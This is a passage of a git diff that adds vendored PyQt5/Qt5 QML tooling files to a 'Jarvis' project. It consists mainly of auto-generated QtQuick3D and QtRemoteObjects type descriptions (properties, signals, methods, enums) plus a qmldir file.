"metalness"; type: "float" } + Property { name: "metalnessMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "metalnessChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "specularAmount"; type: "float" } + Property { name: "specularMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "specularTint"; type: "float" } + Property { name: "roughness"; type: "float" } + Property { name: "roughnessMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "roughnessChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "indexOfRefraction"; type: "float" } + Property { name: "emissiveColor"; type: "QColor" } + Property { name: "emissiveMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "opacity"; type: "float" } + Property { name: "opacityMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "opacityChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "normalMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "normalStrength"; type: "float" } + Property { name: "specularReflectionMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "occlusionMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "occlusionChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "occlusionAmount"; type: "float" } + Property { name: "alphaMode"; type: "AlphaMode" } + Property { name: "alphaCutoff"; type: "float" } + Signal { + name: "lightingChanged" + Parameter { name: "lighting"; type: "Lighting" } + } + Signal { + name: "blendModeChanged" + Parameter { name: "blendMode"; type: "BlendMode" } + } + Signal { + name: "baseColorChanged" + Parameter { name: "baseColor"; type: "QColor" } + } + Signal { + name: "baseColorMapChanged" + Parameter { name: "baseColorMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "emissiveMapChanged" + Parameter { name: "emissiveMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "emissiveColorChanged" + Parameter { name: "emissiveColor"; type: "QColor" } + } + Signal { + name: "specularReflectionMapChanged" + Parameter { name: "specularReflectionMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "specularMapChanged" + Parameter { name: "specularMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "specularTintChanged" + Parameter { name: "specularTint"; type: "float" } + } + Signal { + name: "indexOfRefractionChanged" + Parameter { name: "indexOfRefraction"; type: "float" } + } + Signal { + name: "specularAmountChanged" + Parameter { name: "specularAmount"; type: "float" } + } + Signal { + name: "roughnessChanged" + Parameter { name: "roughness"; type: "float" } + } + Signal { + name: "roughnessMapChanged" + Parameter { name: "roughnessMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "opacityChanged" + Parameter { name: "opacity"; type: "float" } + } + Signal { + name: "opacityMapChanged" + Parameter { name: "opacityMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "normalMapChanged" + Parameter { name: "normalMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "metalnessChanged" + Parameter { name: "metalness"; type: "float" } + } + Signal { + name: "metalnessMapChanged" + Parameter { name: "metalnessMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "normalStrengthChanged" + Parameter { name: "normalStrength"; type: "float" } + } + Signal { + name: "occlusionMapChanged" + Parameter { name: "occlusionMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "occlusionAmountChanged" + Parameter { name: "occlusionAmount"; type: "float" } + } + Signal { + name: "alphaModeChanged" + Parameter { name: "alphaMode"; type: "AlphaMode" } + } + Signal { + name: "alphaCutoffChanged" + Parameter { name: "alphaCutoff"; type: "float" } + } + Signal { + name: "metalnessChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Signal { + name: "roughnessChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Signal { + name: "opacityChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Signal { + name: "occlusionChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setLighting" + Parameter { name: "lighting"; type: "Lighting" } + } + Method { + name: "setBlendMode" + Parameter { name: "blendMode"; type: "BlendMode" } + } + Method { + name: "setBaseColor" + Parameter { name: "baseColor"; type: "QColor" } + } + Method { + name: "setBaseColorMap" + Parameter { name: "baseColorMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setEmissiveMap" + Parameter { name: "emissiveMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setEmissiveColor" + Parameter { name: "emissiveColor"; type: "QColor" } + } + Method { + name: "setSpecularReflectionMap" + Parameter { name: "specularReflectionMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setSpecularMap" + Parameter { name: "specularMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setSpecularTint" + Parameter { name: "specularTint"; type: "float" } + } + Method { + name: "setIndexOfRefraction" + Parameter { name: "indexOfRefraction"; type: "float" } + } + Method { + name: "setSpecularAmount" + Parameter { name: "specularAmount"; type: "float" } + } + Method { + name: "setRoughness" + Parameter { name: "roughness"; type: "float" } + } + Method { + name: "setRoughnessMap" + Parameter { name: "roughnessMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setOpacity" + Parameter { name: "opacity"; type: "float" } + } + Method { + name: "setOpacityMap" + Parameter { name: "opacityMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setNormalMap" + Parameter { name: "normalMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setMetalness" + Parameter { name: "metalnessAmount"; type: "float" } + } + Method { + name: "setMetalnessMap" + Parameter { name: "metalnessMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setNormalStrength" + Parameter { name: "normalStrength"; type: "float" } + } + Method { + name: "setOcclusionMap" + Parameter { name: "occlusionMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setOcclusionAmount" + Parameter { name: "occlusionAmount"; type: "float" } + } + Method { + name: "setAlphaMode" + Parameter { name: "alphaMode"; type: "AlphaMode" } + } + Method { + name: "setAlphaCutoff" + Parameter { name: "alphaCutoff"; type: "float" } + } + Method { + name: "setMetalnessChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setRoughnessChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setOpacityChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setOcclusionChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + } + Component { + name: "QQuick3DQuaternionAnimation" + prototype: "QQuickPropertyAnimation" + exports: ["QtQuick3D/QuaternionAnimation 1.15"] + exportMetaObjectRevisions: [0] + Enum { + name: "Type" + values: { + "Slerp": 0, + "Nlerp": 1 + } + } + Property { name: "from"; type: "QQuaternion" } + Property { name: "to"; type: "QQuaternion" } + Property { name: "type"; type: "Type" } + Property { name: "fromXRotation"; type: "float" } + Property { name: "fromYRotation"; type: "float" } + Property { name: "fromZRotation"; type: "float" } + Property { name: "toXRotation"; type: "float" } + Property { name: "toYRotation"; type: "float" } + Property { name: "toZRotation"; type: "float" } + Signal { + name: "typeChanged" + Parameter { name: "type"; type: "Type" } + } + Signal { + name: "fromXRotationChanged" + Parameter { name: "value"; type: "float" } + } + Signal { + name: "fromYRotationChanged" + Parameter { name: "value"; type: "float" } + } + Signal { + name: "fromZRotationChanged" + Parameter { name: "value"; type: "float" } + } + Signal { + name: "toXRotationChanged" + Parameter { name: "value"; type: "float" } + } + Signal { + name: "toYRotationChanged" + Parameter { name: "value"; type: "float" } + } + Signal { + name: "toZRotationChanged" + Parameter { name: "value"; type: "float" } + } + } + Component { + name: "QQuick3DQuaternionUtils" + prototype: "QObject" + exports: ["QtQuick3D/Quaternion 1.15"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { + name: "fromAxesAndAngles" + type: "QQuaternion" + Parameter { name: "axis1"; type: "QVector3D" } + Parameter { name: "angle1"; type: "float" } + Parameter { name: "axis2"; type: "QVector3D" } + Parameter { name: "angle2"; type: "float" } + Parameter { name: "axis3"; type: "QVector3D" } + Parameter { name: "angle3"; type: "float" } + } + Method { + name: "fromAxesAndAngles" + type: "QQuaternion" + Parameter { name: "axis1"; type: "QVector3D" } + Parameter { name: "angle1"; type: "float" } + Parameter { name: "axis2"; type: "QVector3D" } + Parameter { name: "angle2"; type: "float" } + } + Method { + name: "fromAxisAndAngle" + type: "QQuaternion" + Parameter { name: "x"; type: "float" } + Parameter { name: "y"; type: "float" } + Parameter { name: "z"; type: "float" } + Parameter { name: "angle"; type: "float" } + } + Method { + name: "fromAxisAndAngle" + type: "QQuaternion" + Parameter { name: "axis"; type: "QVector3D" } + Parameter { name: "angle"; type: "float" } + } + Method { + name: "fromEulerAngles" + type: "QQuaternion" + Parameter { name: "x"; type: "float" } + Parameter { name: "y"; type: "float" } + Parameter { name: "z"; type: "float" } + } + Method { + name: "fromEulerAngles" + type: "QQuaternion" + Parameter { name: "eulerAngles"; type: "QVector3D" } + } + Method { + name: "lookAt" + revision: 1 + type: "QQuaternion" + Parameter { name: "sourcePosition"; type: "QVector3D" } + Parameter { name: "sourceDirection"; type: "QVector3D" } + Parameter { name: "targetPosition"; type: "QVector3D" } + Parameter { name: "upDirection"; type: "QVector3D" } + } + Method { + name: "lookAt" + revision: 1 + type: "QQuaternion" + Parameter { name: "sourcePosition"; type: "QVector3D" } + Parameter { name: "sourceDirection"; type: "QVector3D" } + Parameter { name: "targetPosition"; type: "QVector3D" } + } + } + Component { + name: "QQuick3DRepeater" + defaultProperty: "delegate" + prototype: "QQuick3DNode" + exports: ["QtQuick3D/Repeater3D 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "count"; type: "int"; isReadonly: true } + Signal { + name: "objectAdded" + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QQuick3DObject"; isPointer: true } + } + Signal { + name: "objectRemoved" + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QQuick3DObject"; isPointer: true } + } + Method { + name: "objectAt" + type: "QQuick3DObject*" + Parameter { name: "index"; type: "int" } + } + } + Component { + name: "QQuick3DSceneEnvironment" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: [ + "QtQuick3D/SceneEnvironment 1.14", + "QtQuick3D/SceneEnvironment 1.15" + ] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "QQuick3DEnvironmentAAModeValues" + values: { + "NoAA": 0, + "SSAA": 1, + "MSAA": 2, + "ProgressiveAA": 3 + } + } + Enum { + name: "QQuick3DEnvironmentAAQualityValues" + values: { + "Medium": 2, + "High": 4, + "VeryHigh": 8 + } + } + Enum { + name: "QQuick3DEnvironmentBackgroundTypes" + values: { + "Transparent": 0, + "Unspecified": 1, + "Color": 2, + "SkyBox": 3 + } + } + Property { name: "antialiasingMode"; type: "QQuick3DEnvironmentAAModeValues" } + Property { name: "antialiasingQuality"; type: "QQuick3DEnvironmentAAQualityValues" } + Property { name: "temporalAAEnabled"; type: "bool" } + Property { name: "temporalAAStrength"; type: "float" } + Property { name: "backgroundMode"; type: "QQuick3DEnvironmentBackgroundTypes" } + Property { name: "clearColor"; type: "QColor" } + Property { name: "depthTestEnabled"; type: "bool" } + Property { name: "depthPrePassEnabled"; type: "bool" } + Property { name: "aoStrength"; type: "float" } + Property { name: "aoDistance"; type: "float" } + Property { name: "aoSoftness"; type: "float" } + Property { name: "aoDither"; type: "bool" } + Property { name: "aoSampleRate"; type: "int" } + Property { name: "aoBias"; type: "float" } + Property { name: "lightProbe"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "probeBrightness"; type: "float" } + Property { name: "fastImageBasedLightingEnabled"; type: "bool" } + Property { name: "probeHorizon"; type: "float" } + Property { name: "probeFieldOfView"; type: "float" } + Property { name: "effects"; revision: 1; type: "QQuick3DEffect"; isList: true; isReadonly: true } + Method { + name: "setAntialiasingMode" + Parameter { name: "antialiasingMode"; type: "QQuick3DEnvironmentAAModeValues" } + } + Method { + name: "setAntialiasingQuality" + Parameter { name: "antialiasingQuality"; type: "QQuick3DEnvironmentAAQualityValues" } + } + Method { + name: "setTemporalAAEnabled" + Parameter { name: "temporalAAEnabled"; type: "bool" } + } + Method { + name: "setTemporalAAStrength" + Parameter { name: "strength"; type: "float" } + } + Method { + name: "setBackgroundMode" + Parameter { name: "backgroundMode"; type: "QQuick3DEnvironmentBackgroundTypes" } + } + Method { + name: "setClearColor" + Parameter { name: "clearColor"; type: "QColor" } + } + Method { + name: "setAoStrength" + Parameter { name: "aoStrength"; type: "float" } + } + Method { + name: "setAoDistance" + Parameter { name: "aoDistance"; type: "float" } + } + Method { + name: "setAoSoftness" + Parameter { name: "aoSoftness"; type: "float" } + } + Method { + name: "setAoDither" + Parameter { name: "aoDither"; type: "bool" } + } + Method { + name: "setAoSampleRate" + Parameter { name: "aoSampleRate"; type: "int" } + } + Method { + name: "setAoBias" + Parameter { name: "aoBias"; type: "float" } + } + Method { + name: "setLightProbe" + Parameter { name: "lightProbe"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setProbeBrightness" + Parameter { name: "probeBrightness"; type: "float" } + } + Method { + name: "setFastImageBasedLightingEnabled" + Parameter { name: "fastImageBasedLightingEnabled"; type: "bool" } + } + Method { + name: "setProbeHorizon" + Parameter { name: "probeHorizon"; type: "float" } + } + Method { + name: "setProbeFieldOfView" + Parameter { name: "probeFieldOfView"; type: "float" } + } + Method { + name: "setDepthTestEnabled" + Parameter { name: "depthTestEnabled"; type: "bool" } + } + Method { + name: "setDepthPrePassEnabled" + Parameter { name: "depthPrePassEnabled"; type: "bool" } + } + } + Component { + name: "QQuick3DShaderApplyDepthValue" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/DepthInput 1.15"] + exportMetaObjectRevisions: [0] + Property { name: "param"; type: "QByteArray" } + } + Component { + name: "QQuick3DShaderUtilsApplyValue" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/SetUniformValue 1.15"] + exportMetaObjectRevisions: [0] + Property { name: "target"; type: "QByteArray" } + Property { name: "value"; type: "QVariant" } + } + Component { + name: "QQuick3DShaderUtilsBlending" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/Blending 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "SrcBlending" + values: { + "Unknown": 0, + "Zero": 1, + "One": 2, + "SrcColor": 3, + "OneMinusSrcColor": 4, + "DstColor": 5, + "OneMinusDstColor": 6, + "SrcAlpha": 7, + "OneMinusSrcAlpha": 8, + "DstAlpha": 9, + "OneMinusDstAlpha": 10, + "ConstantColor": 11, + "OneMinusConstantColor": 12, + "ConstantAlpha": 13, + "OneMinusConstantAlpha": 14, + "SrcAlphaSaturate": 15 + } + } + Enum { + name: "DestBlending" + values: { + "Unknown": 0, + "Zero": 1, + "One": 2, + "SrcColor": 3, + "OneMinusSrcColor": 4, + "DstColor": 5, + "OneMinusDstColor": 6, + "SrcAlpha": 7, + "OneMinusSrcAlpha": 8, + "DstAlpha": 9, + "OneMinusDstAlpha": 10, + "ConstantColor": 11, + "OneMinusConstantColor": 12, + "ConstantAlpha": 13, + "OneMinusConstantAlpha": 14 + } + } + Property { name: "srcBlending"; type: "SrcBlending" } + Property { name: "destBlending"; type: "DestBlending" } + Method { + name: "setDestBlending" + Parameter { name: "destBlending"; type: "DestBlending" } + } + Method { + name: "setSrcBlending" + Parameter { name: "srcBlending"; type: "SrcBlending" } + } + } + Component { + name: "QQuick3DShaderUtilsBuffer" + prototype: "QObject" + exports: ["QtQuick3D/Buffer 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "TextureFilterOperation" + values: { + "Unknown": 0, + "Nearest": 1, + "Linear": 2 + } + } + Enum { + name: "TextureCoordOperation" + values: { + "Unknown": 0, + "ClampToEdge": 1, + "MirroredRepeat": 2, + "Repeat": 3 + } + } + Enum { + name: "AllocateBufferFlagValues" + values: { + "None": 0, + "SceneLifetime": 1 + } + } + Enum { + name: "TextureFormat" + values: { + "Unknown": 0, + "R8": 1, + "R16": 2, + "R16F": 3, + "R32I": 4, + "R32UI": 5, + "R32F": 6, + "RG8": 7, + "RGBA8": 8, + "RGB8": 9, + "SRGB8": 10, + "SRGB8A8": 11, + "RGB565": 12, + "RGBA16F": 13, + "RG16F": 14, + "RG32F": 15, + "RGB32F": 16, + "RGBA32F": 17, + "R11G11B10": 18, + "RGB9E5": 19, + "Depth16": 20, + "Depth24": 21, + "Depth32": 22, + "Depth24Stencil8": 23 + } + } + Property { name: "format"; type: "TextureFormat" } + Property { name: "textureFilterOperation"; type: "TextureFilterOperation" } + Property { name: "textureCoordOperation"; type: "TextureCoordOperation" } + Property { name: "sizeMultiplier"; type: "float" } + Property { name: "bufferFlags"; type: "AllocateBufferFlagValues" } + Property { name: "name"; type: "QByteArray" } + } + Component { + name: "QQuick3DShaderUtilsBufferBlit" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/BufferBlit 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QQuick3DShaderUtilsBuffer"; isPointer: true } + Property { name: "destination"; type: "QQuick3DShaderUtilsBuffer"; isPointer: true } + } + Component { + name: "QQuick3DShaderUtilsBufferInput" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/BufferInput 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "buffer"; type: "QQuick3DShaderUtilsBuffer"; isPointer: true } + Property { name: "param"; type: "QByteArray" } + } + Component { + name: "QQuick3DShaderUtilsCullMode" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/CullMode 1.15"] + exportMetaObjectRevisions: [0] + Property { name: "cullMode"; type: "QQuick3DMaterial::CullMode" } + Method { + name: "setCullMode" + Parameter { name: "cullMode"; type: "QQuick3DMaterial::CullMode" } + } + } + Component { + name: "QQuick3DShaderUtilsRenderCommand" + prototype: "QObject" + exports: ["QtQuick3D/Command 1.14"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuick3DShaderUtilsRenderPass" + prototype: "QObject" + exports: ["QtQuick3D/Pass 1.14"] + exportMetaObjectRevisions: [0] + Property { + name: "commands" + type: "QQuick3DShaderUtilsRenderCommand" + isList: true + isReadonly: true + } + Property { name: "output"; type: "QQuick3DShaderUtilsBuffer"; isPointer: true } + Property { name: "shaders"; type: "QQuick3DShaderUtilsShader"; isList: true; isReadonly: true } + } + Component { + name: "QQuick3DShaderUtilsRenderState" + prototype: "QQuick3DShaderUtilsRenderCommand" + exports: ["QtQuick3D/RenderState 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "RenderState" + values: { + "Unknown": 0, + "Blend": 1, + "CullFace": 2, + "DepthTest": 3, + "StencilTest": 4, + "ScissorTest": 5, + "DepthWrite": 6, + "Multisample": 7 + } + } + Property { name: "renderState"; type: "RenderState" } + Property { name: "enabled"; type: "bool" } + Method { + name: "setRenderState" + Parameter { name: "renderState"; type: "RenderState" } + } + } + Component { + name: "QQuick3DShaderUtilsShader" + prototype: "QObject" + exports: ["QtQuick3D/Shader 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "Stage" + values: { + "Shared": 0, + "Vertex": 1, + "Fragment": 2, + "Geometry": 3, + "Compute": 4 + } + } + Property { name: "shader"; type: "QByteArray" } + Property { name: "stage"; type: "Stage" } + } + Component { + name: "QQuick3DShaderUtilsShaderInfo" + prototype: "QObject" + exports: ["QtQuick3D/ShaderInfo 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "MaterialShaderKeyValues" + values: { + "Diffuse": 1, + "Specular": 2, + "Cutout": 4, + "Refraction": 8, + "Transparent": 16, + "Displace": 32, + "Transmissive": 64, + "Glossy": 3 + } + } + Property { name: "version"; type: "QByteArray" } + Property { name: "type"; type: "QByteArray" } + Property { name: "shaderKey"; type: "int" } + } + Component { + name: "QQuick3DShaderUtilsTextureInput" + prototype: "QObject" + exports: ["QtQuick3D/TextureInput 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "texture"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "enabled"; type: "bool" } + Signal { + name: "textureDirty" + Parameter { name: "texture"; type: "QQuick3DShaderUtilsTextureInput"; isPointer: true } + } + Method { + name: "setTexture" + Parameter { name: "texture"; type: "QQuick3DTexture"; isPointer: true } + } + } + Component { + name: "QQuick3DSpotLight" + defaultProperty: "data" + prototype: "QQuick3DAbstractLight" + exports: ["QtQuick3D/SpotLight 1.15"] + exportMetaObjectRevisions: [0] + Property { name: "constantFade"; type: "float" } + Property { name: "linearFade"; type: "float" } + Property { name: "quadraticFade"; type: "float" } + Property { name: "coneAngle"; type: "float" } + Property { name: "innerConeAngle"; type: "float" } + Method { + name: "setConstantFade" + Parameter { name: "constantFade"; type: "float" } + } + Method { + name: "setLinearFade" + Parameter { name: "linearFade"; type: "float" } + } + Method { + name: "setQuadraticFade" + Parameter { name: "quadraticFade"; type: "float" } + } + Method { + name: "setConeAngle" + Parameter { name: "coneAngle"; type: "float" } + } + Method { + name: "setInnerConeAngle" + Parameter { name: "innerConeAngle"; type: "float" } + } + } + Component { + name: "QQuick3DTexture" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: ["QtQuick3D/Texture 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "MappingMode" + values: { + "UV": 0, + "Environment": 1, + "LightProbe": 2 + } + } + Enum { + name: "TilingMode" + values: { + "ClampToEdge": 1, + "MirroredRepeat": 2, + "Repeat": 3 + } + } + Enum { + name: "Format" + values: { + "Automatic": 0, + "R8": 1, + "R16": 2, + "R16F": 3, + "R32I": 4, + "R32UI": 5, + "R32F": 6, + "RG8": 7, + "RGBA8": 8, + "RGB8": 9, + "SRGB8": 10, + "SRGB8A8": 11, + "RGB565": 12, + "RGBA5551": 13, + "Alpha8": 14, + "Luminance8": 15, + "Luminance16": 16, + "LuminanceAlpha8": 17, + "RGBA16F": 18, + "RG16F": 19, + "RG32F": 20, + "RGB32F": 21, + "RGBA32F": 22, + "R11G11B10": 23, + "RGB9E5": 24, + "RGBA_DXT1": 25, + "RGB_DXT1": 26, + "RGBA_DXT3": 27, + "RGBA_DXT5": 28, + "Depth16": 29, + "Depth24": 30, + "Depth32": 31, + "Depth24Stencil8": 32 + } + } + Property { name: "source"; type: "QUrl" } + Property { name: "sourceItem"; type: "QQuickItem"; isPointer: true } + Property { name: "scaleU"; type: "float" } + Property { name: "scaleV"; type: "float" } + Property { name: "mappingMode"; type: "MappingMode" } + Property { name: "tilingModeHorizontal"; type: "TilingMode" } + Property { name: "tilingModeVertical"; type: "TilingMode" } + Property { name: "rotationUV"; type: "float" } + Property { name: "positionU"; type: "float" } + Property { name: "positionV"; type: "float" } + Property { name: "pivotU"; type: "float" } + Property { name: "pivotV"; type: "float" } + Property { name: "flipV"; type: "bool" } + Property { name: "format"; type: "Format" } + Signal { name: "horizontalTilingChanged" } + Signal { name: "verticalTilingChanged" } + Method { + name: "setSource" + Parameter { name: "source"; type: "QUrl" } + } + Method { + name: "setSourceItem" + Parameter { name: "sourceItem"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "setScaleU" + Parameter { name: "scaleU"; type: "float" } + } + Method { + name: "setScaleV" + Parameter { name: "scaleV"; type: "float" } + } + Method { + name: "setMappingMode" + Parameter { name: "mappingMode"; type: "MappingMode" } + } + Method { + name: "setHorizontalTiling" + Parameter { name: "tilingModeHorizontal"; type: "TilingMode" } + } + Method { + name: "setVerticalTiling" + Parameter { name: "tilingModeVertical"; type: "TilingMode" } + } + Method { + name: "setRotationUV" + Parameter { name: "rotationUV"; type: "float" } + } + Method { + name: "setPositionU" + Parameter { name: "positionU"; type: "float" } + } + Method { + name: "setPositionV" + Parameter { name: "positionV"; type: "float" } + } + Method { + name: "setPivotU" + Parameter { name: "pivotU"; type: "float" } + } + Method { + name: "setPivotV" + Parameter { name: "pivotV"; type: "float" } + } + Method { + name: "setFlipV" + Parameter { name: "flipV"; type: "bool" } + } + Method { + name: "setFormat" + Parameter { name: "format"; type: "Format" } + } + } + Component { + name: "QQuick3DViewport" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick3D/View3D 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "RenderMode" + values: { + "Offscreen": 0, + "Underlay": 1, + "Overlay": 2, + "Inline": 3 + } + } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "camera"; type: "QQuick3DCamera"; isPointer: true } + Property { name: "environment"; type: "QQuick3DSceneEnvironment"; isPointer: true } + Property { name: "scene"; type: "QQuick3DNode"; isReadonly: true; isPointer: true } + Property { name: "importScene"; type: "QQuick3DNode"; isPointer: true } + Property { name: "renderMode"; type: "RenderMode" } + Property { name: "renderStats"; type: "QQuick3DRenderStats"; isReadonly: true; isPointer: true } + Method { + name: "setCamera" + Parameter { name: "camera"; type: "QQuick3DCamera"; isPointer: true } + } + Method { + name: "setEnvironment" + Parameter { name: "environment"; type: "QQuick3DSceneEnvironment"; isPointer: true } + } + Method { + name: "setImportScene" + Parameter { name: "inScene"; type: "QQuick3DNode"; isPointer: true } + } + Method { + name: "setRenderMode" + Parameter { name: "renderMode"; type: "RenderMode" } + } + Method { + name: "mapFrom3DScene" + type: "QVector3D" + Parameter { name: "scenePos"; type: "QVector3D" } + } + Method { + name: "mapTo3DScene" + type: "QVector3D" + Parameter { name: "viewPos"; type: "QVector3D" } + } + Method { + name: "pick" + type: "QQuick3DPickResult" + Parameter { name: "x"; type: "float" } + Parameter { name: "y"; type: "float" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/qmldir new file mode 100644 index 00000000..d5cad0bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/qmldir @@ -0,0 +1,5 @@ +module QtQuick3D +plugin qquick3dplugin +classname QQuick3DPlugin +typeinfo plugins.qmltypes +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/qquick3dplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/qquick3dplugin.dll new file mode 100644 index 00000000..9e131154 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/qquick3dplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/plugins.qmltypes new file mode 100644 index 00000000..bf9d156a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/plugins.qmltypes @@ -0,0 +1,128 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtRemoteObjects 5.15' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QRemoteObjectAbstractPersistedStore" + prototype: "QObject" + exports: ["QtRemoteObjects/PersistedStore 5.12"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + name: "QRemoteObjectHost" + prototype: "QRemoteObjectHostBase" + exports: ["QtRemoteObjects/Host 5.15"] + exportMetaObjectRevisions: [0] + Property { name: "hostUrl"; type: "QUrl" } + } + Component { + name: "QRemoteObjectHostBase" + prototype: "QRemoteObjectNode" + Enum { + name: "AllowedSchemas" + values: { + "BuiltInSchemasOnly": 0, + "AllowExternalRegistration": 1 + } + } + Method { + name: "enableRemoting" + type: "bool" + Parameter { name: "object"; type: "QObject"; isPointer: true } + Parameter { name: "name"; type: "string" } + } + Method { + name: "enableRemoting" + type: "bool" + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { + name: "disableRemoting" + type: "bool" + Parameter { name: "remoteObject"; type: "QObject"; isPointer: true } + } + } + Component { + name: "QRemoteObjectNode" + prototype: "QObject" + exports: ["QtRemoteObjects/Node 5.12"] + exportMetaObjectRevisions: [0] + Enum { + name: "ErrorCode" + values: { + "NoError": 0, + "RegistryNotAcquired": 1, + "RegistryAlreadyHosted": 2, + "NodeIsNoServer": 3, + "ServerAlreadyCreated": 4, + "UnintendedRegistryHosting": 5, + "OperationNotValidOnClientNode": 6, + "SourceNotRegistered": 7, + "MissingObjectName": 8, + "HostUrlInvalid": 9, + "ProtocolMismatch": 10, + "ListenFailed": 11 + } + } + Property { name: "registryUrl"; type: "QUrl" } + Property { + name: "persistedStore" + type: "QRemoteObjectAbstractPersistedStore" + isPointer: true + } + Property { name: "heartbeatInterval"; type: "int" } + Signal { + name: "remoteObjectAdded" + Parameter { type: "QRemoteObjectSourceLocation" } + } + Signal { + name: "remoteObjectRemoved" + Parameter { type: "QRemoteObjectSourceLocation" } + } + Signal { + name: "error" + Parameter { name: "errorCode"; type: "QRemoteObjectNode::ErrorCode" } + } + Signal { + name: "heartbeatIntervalChanged" + Parameter { name: "heartbeatInterval"; type: "int" } + } + Method { + name: "connectToNode" + type: "bool" + Parameter { name: "address"; type: "QUrl" } + } + } + Component { + name: "QRemoteObjectSettingsStore" + prototype: "QRemoteObjectAbstractPersistedStore" + exports: ["QtRemoteObjects/SettingsStore 5.12"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QtQmlRemoteObjects" + prototype: "QObject" + exports: ["QtRemoteObjects/QtRemoteObjects 5.14"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: 